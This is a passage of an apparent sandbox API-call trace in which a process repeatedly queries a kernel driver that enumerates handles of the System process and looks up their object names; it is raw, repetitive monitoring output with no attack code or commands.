[0102.779] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0102.779] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e305e0 | out: hHeap=0x180000) returned 1 [0102.779] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e305e0 [0102.780] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e305e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e305e0*, lpBytesReturned=0x12d450*=0x84, lpOverlapped=0x0) returned 1 [0102.780] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0102.780] PsAcquireProcessExitSynchronization () returned 0x0 [0102.780] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0) [0102.780] ObReferenceObjectByHandle (in: Handle=0xffffffff80000280, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e000, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa8009f01320, HandleInformation=0x0) returned 0x0 [0102.780] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0102.780] PsReleaseProcessExitSynchronization () returned 0x2 [0102.780] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x12b [0102.780] ObQueryNameString (in: Object=0xfffffa8009f01320, ObjectNameInfo=0xfffffa80025fd044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa80025fd044, ReturnLength=0xfffff88004f09550) returned 0x0 [0102.780] ObfDereferenceObject (Object=0xfffffa8009f01320) returned 0x1 [0102.780] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0102.780] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e305e0 | out: hHeap=0x180000) returned 1 [0102.780] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e305e0 [0102.780] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e305e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e305e0*, lpBytesReturned=0x12d450*=0x80, lpOverlapped=0x0) returned 1 [0102.780] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0102.780] PsAcquireProcessExitSynchronization () returned 0x0 [0102.780] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0) [0102.780] ObReferenceObjectByHandle (in: Handle=0xffffffff80000284, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e000, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa80030a9e50, HandleInformation=0x0) returned 0x0 [0102.780] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0102.780] PsReleaseProcessExitSynchronization () returned 0x2 [0102.780] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x12b [0102.780] ObQueryNameString (in: Object=0xfffffa80030a9e50, ObjectNameInfo=0xfffffa8001edc044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa8001edc044, ReturnLength=0xfffff88004f09550) returned 0x0 [0102.780] ObfDereferenceObject (Object=0xfffffa80030a9e50) returned 0x1 [0102.780] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0102.780] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e305e0 | out: hHeap=0x180000) returned 1 [0102.780] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e305e0 [0102.780] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e305e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e305e0*, lpBytesReturned=0x12d450*=0x70, lpOverlapped=0x0) returned 1 [0102.781] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0102.781] PsAcquireProcessExitSynchronization () returned 0x0 [0102.781] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0) [0102.781] ObReferenceObjectByHandle (in: Handle=0xffffffff80000294, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e000, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa800308c170, HandleInformation=0x0) returned 0x0 [0102.781] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0102.781] PsReleaseProcessExitSynchronization () returned 0x2 [0102.781] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x12b [0102.781] ObQueryNameString (in: Object=0xfffffa800308c170, ObjectNameInfo=0xfffffa80025075c4, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa80025075c4, ReturnLength=0xfffff88004f09550) returned 0x0 [0102.781] ObfDereferenceObject (Object=0xfffffa800308c170) returned 0x1 [0102.781] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0102.781] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e305e0 | out: hHeap=0x180000) returned 1 [0102.781] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e305e0 [0102.781] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e305e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e305e0*, lpBytesReturned=0x12d450*=0x7a, lpOverlapped=0x0) returned 1 [0102.781] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0102.781] PsAcquireProcessExitSynchronization () returned 0x0 [0102.781] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0) [0102.781] ObReferenceObjectByHandle (in: Handle=0xffffffff80000298, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e000, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa80030a9050, HandleInformation=0x0) returned 0x0 [0102.781] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0102.781] PsReleaseProcessExitSynchronization () returned 0x2 [0102.781] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x12b [0102.781] ObQueryNameString (in: Object=0xfffffa80030a9050, ObjectNameInfo=0xfffffa8001feb044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa8001feb044, ReturnLength=0xfffff88004f09550) returned 0x0 [0102.781] ObfDereferenceObject (Object=0xfffffa80030a9050) returned 0x1 [0102.781] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0102.781] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e305e0 | out: hHeap=0x180000) returned 1 [0102.781] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e305e0 [0102.781] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e305e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e305e0*, lpBytesReturned=0x12d450*=0x7a, lpOverlapped=0x0) returned 1 [0102.782] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0102.782] PsAcquireProcessExitSynchronization () returned 0x0 [0102.782] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0) [0102.782] ObReferenceObjectByHandle (in: Handle=0xffffffff8000029c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e000, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa80030a9cf0, HandleInformation=0x0) returned 0x0 [0102.782] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0102.782] PsReleaseProcessExitSynchronization () returned 0x2 [0102.782] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x12b [0102.782] ObQueryNameString (in: Object=0xfffffa80030a9cf0, ObjectNameInfo=0xfffffa800248c7c4, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa800248c7c4, ReturnLength=0xfffff88004f09550) returned 0x0 [0102.782] ObfDereferenceObject (Object=0xfffffa80030a9cf0) returned 0x1 [0102.782] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0102.782] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e305e0 | out: hHeap=0x180000) returned 1 [0102.782] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e305e0 [0102.782] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e305e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e305e0*, lpBytesReturned=0x12d450*=0xf6, lpOverlapped=0x0) returned 1 [0102.782] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0102.782] PsAcquireProcessExitSynchronization () returned 0x0 [0102.782] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0) [0102.782] ObReferenceObjectByHandle (in: Handle=0xffffffff800002b8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e000, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa8002c27aa0, HandleInformation=0x0) returned 0x0 [0102.782] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0102.782] PsReleaseProcessExitSynchronization () returned 0x2 [0102.782] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x12b [0102.782] ObQueryNameString (in: Object=0xfffffa8002c27aa0, ObjectNameInfo=0xfffffa8001fe47c4, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa8001fe47c4, ReturnLength=0xfffff88004f09550) returned 0x0 [0102.782] ObfDereferenceObject (Object=0xfffffa8002c27aa0) returned 0x2 [0102.782] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0102.782] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e305e0 | out: hHeap=0x180000) returned 1 [0102.782] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e305e0 [0102.782] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e305e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e305e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0102.782] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0102.782] PsAcquireProcessExitSynchronization () returned 0x0 [0102.782] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0) [0102.783] ObReferenceObjectByHandle (in: Handle=0xffffffff800002bc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e000, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa800254af20, HandleInformation=0x0) returned 0x0 [0102.783] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0102.783] PsReleaseProcessExitSynchronization () returned 0x2 [0102.783] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x12b [0102.783] ObQueryNameString (in: Object=0xfffffa800254af20, ObjectNameInfo=0xfffffa8002494044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa8002494044, ReturnLength=0xfffff88004f09550) returned 0x0 [0102.783] ObfDereferenceObject (Object=0xfffffa800254af20) returned 0x2 [0102.783] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0102.783] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e305e0 | out: hHeap=0x180000) returned 1 [0102.783] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e305e0 [0102.783] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e305e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e305e0*, lpBytesReturned=0x12d450*=0x38, lpOverlapped=0x0) returned 1 [0102.783] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0102.783] PsAcquireProcessExitSynchronization () returned 0x0 [0102.783] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0) [0102.783] ObReferenceObjectByHandle (in: Handle=0xffffffff800002d4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e000, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa80030d6f20, HandleInformation=0x0) returned 0x0 [0102.783] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0102.783] PsReleaseProcessExitSynchronization () returned 0x2 [0102.783] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x12b [0102.783] ObQueryNameString (in: Object=0xfffffa80030d6f20, ObjectNameInfo=0xfffffa800264e044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa800264e044, ReturnLength=0xfffff88004f09550) returned 0x0 [0102.783] ObfDereferenceObject (Object=0xfffffa80030d6f20) returned 0x2 [0102.783] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0102.783] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e305e0 | out: hHeap=0x180000) returned 1 [0102.783] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e305e0 [0102.783] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e305e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e305e0*, lpBytesReturned=0x12d450*=0x9c, lpOverlapped=0x0) returned 1 [0102.783] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0102.783] PsAcquireProcessExitSynchronization () returned 0x0 [0102.783] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0) [0102.783] ObReferenceObjectByHandle (in: Handle=0xffffffff800002d8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e000, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa80030dd070, HandleInformation=0x0) returned 0x0 [0102.783] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0102.783] PsReleaseProcessExitSynchronization () returned 0x2 [0102.783] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x12b [0102.783] ObQueryNameString (in: Object=0xfffffa80030dd070, ObjectNameInfo=0xfffffa8003857044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa8003857044, ReturnLength=0xfffff88004f09550) returned 0x0 [0102.784] ObfDereferenceObject (Object=0xfffffa80030dd070) returned 0x1 [0102.784] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0102.784] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e305e0 | out: hHeap=0x180000) returned 1 [0102.784] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e305e0 [0102.784] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e305e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e305e0*, lpBytesReturned=0x12d450*=0xa6, lpOverlapped=0x0) returned 1 [0102.784] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0102.784] PsAcquireProcessExitSynchronization () returned 0x0 [0102.784] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0) [0102.784] ObReferenceObjectByHandle (in: Handle=0xffffffff800002dc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e000, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa80030dda80, HandleInformation=0x0) returned 0x0 [0102.784] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0102.784] PsReleaseProcessExitSynchronization () returned 0x2 [0102.784] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x12b [0102.784] ObQueryNameString (in: Object=0xfffffa80030dda80, ObjectNameInfo=0xfffffa80025fe044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa80025fe044, ReturnLength=0xfffff88004f09550) returned 0x0 [0102.784] ObfDereferenceObject (Object=0xfffffa80030dda80) returned 0x1 [0102.784] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0102.784] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e305e0 | out: hHeap=0x180000) returned 1 [0102.784] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e305e0 [0102.784] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e305e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e305e0*, lpBytesReturned=0x12d450*=0xa6, lpOverlapped=0x0) returned 1 [0102.784] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0102.784] PsAcquireProcessExitSynchronization () returned 0x0 [0102.784] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0) [0102.784] ObReferenceObjectByHandle (in: Handle=0xffffffff800002e0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e000, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa80030dd7e0, HandleInformation=0x0) returned 0x0 [0102.784] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0102.784] PsReleaseProcessExitSynchronization () returned 0x2 [0102.784] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x12b [0102.784] ObQueryNameString (in: Object=0xfffffa80030dd7e0, ObjectNameInfo=0xfffffa8002813044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa8002813044, ReturnLength=0xfffff88004f09550) returned 0x0 [0102.784] ObfDereferenceObject (Object=0xfffffa80030dd7e0) returned 0x1 [0102.784] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0102.784] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e305e0 | out: hHeap=0x180000) returned 1 [0102.784] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e305e0 [0102.785] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e305e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e305e0*, lpBytesReturned=0x12d450*=0x140, lpOverlapped=0x0) returned 1 [0102.785] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0102.785] PsAcquireProcessExitSynchronization () returned 0x0 [0102.785] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0) [0102.785] ObReferenceObjectByHandle (in: Handle=0xffffffff800002e4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e000, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa800f8cfbe0, HandleInformation=0x0) returned 0x0 [0102.785] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0102.785] PsReleaseProcessExitSynchronization () returned 0x2 [0102.785] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x12b [0102.785] ObQueryNameString (in: Object=0xfffffa800f8cfbe0, ObjectNameInfo=0xfffffa80037a6044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa80037a6044, ReturnLength=0xfffff88004f09550) returned 0x0 [0102.785] ObfDereferenceObject (Object=0xfffffa800f8cfbe0) returned 0x2 [0102.785] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0102.785] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e305e0 | out: hHeap=0x180000) returned 1 [0102.785] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e305e0 [0102.785] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e305e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e305e0*, lpBytesReturned=0x12d450*=0x140, lpOverlapped=0x0) returned 1 [0102.785] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0102.785] PsAcquireProcessExitSynchronization () returned 0x0 [0102.785] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0) [0102.785] ObReferenceObjectByHandle (in: Handle=0xffffffff800002e8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e000, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa80030dd610, HandleInformation=0x0) returned 0x0 [0102.785] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0102.785] PsReleaseProcessExitSynchronization () returned 0x2 [0102.785] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x12b [0102.785] ObQueryNameString (in: Object=0xfffffa80030dd610, ObjectNameInfo=0xfffffa80033f6044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa80033f6044, ReturnLength=0xfffff88004f09550) returned 0x0 [0102.785] ObfDereferenceObject (Object=0xfffffa80030dd610) returned 0x2 [0102.785] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0102.785] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e305e0 | out: hHeap=0x180000) returned 1 [0102.786] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e305e0 [0102.786] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e305e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e305e0*, lpBytesReturned=0x12d450*=0x14, lpOverlapped=0x0) returned 1 [0102.786] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0102.786] PsAcquireProcessExitSynchronization () returned 0x0 [0102.786] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0) [0102.786] ObReferenceObjectByHandle (in: Handle=0xffffffff800002f0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e000, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa80030c4f20, HandleInformation=0x0) returned 0x0 [0102.786] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0102.786] PsReleaseProcessExitSynchronization () returned 0x2 [0102.786] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x12b [0102.786] ObQueryNameString (in: Object=0xfffffa80030c4f20, ObjectNameInfo=0xfffffa8002821044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa8002821044, ReturnLength=0xfffff88004f09550) returned 0x0 [0102.786] ObfDereferenceObject (Object=0xfffffa80030c4f20) returned 0x1 [0102.786] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0102.786] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e305e0 | out: hHeap=0x180000) returned 1 [0102.786] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e305e0 [0102.786] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e305e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e305e0*, lpBytesReturned=0x12d450*=0x14, lpOverlapped=0x0) returned 1 [0102.786] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0102.786] PsAcquireProcessExitSynchronization () returned 0x0 [0102.786] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0) [0102.786] ObReferenceObjectByHandle (in: Handle=0xffffffff800002f4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e000, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa80030c4770, HandleInformation=0x0) returned 0x0 [0102.786] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0102.786] PsReleaseProcessExitSynchronization () returned 0x2 [0102.786] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x12b [0102.786] ObQueryNameString (in: Object=0xfffffa80030c4770, ObjectNameInfo=0xfffffa8002835044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa8002835044, ReturnLength=0xfffff88004f09550) returned 0x0 [0102.786] ObfDereferenceObject (Object=0xfffffa80030c4770) returned 0x2 [0102.786] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0102.786] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e305e0 | out: hHeap=0x180000) returned 1 [0102.786] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e305e0 [0102.786] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e305e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: 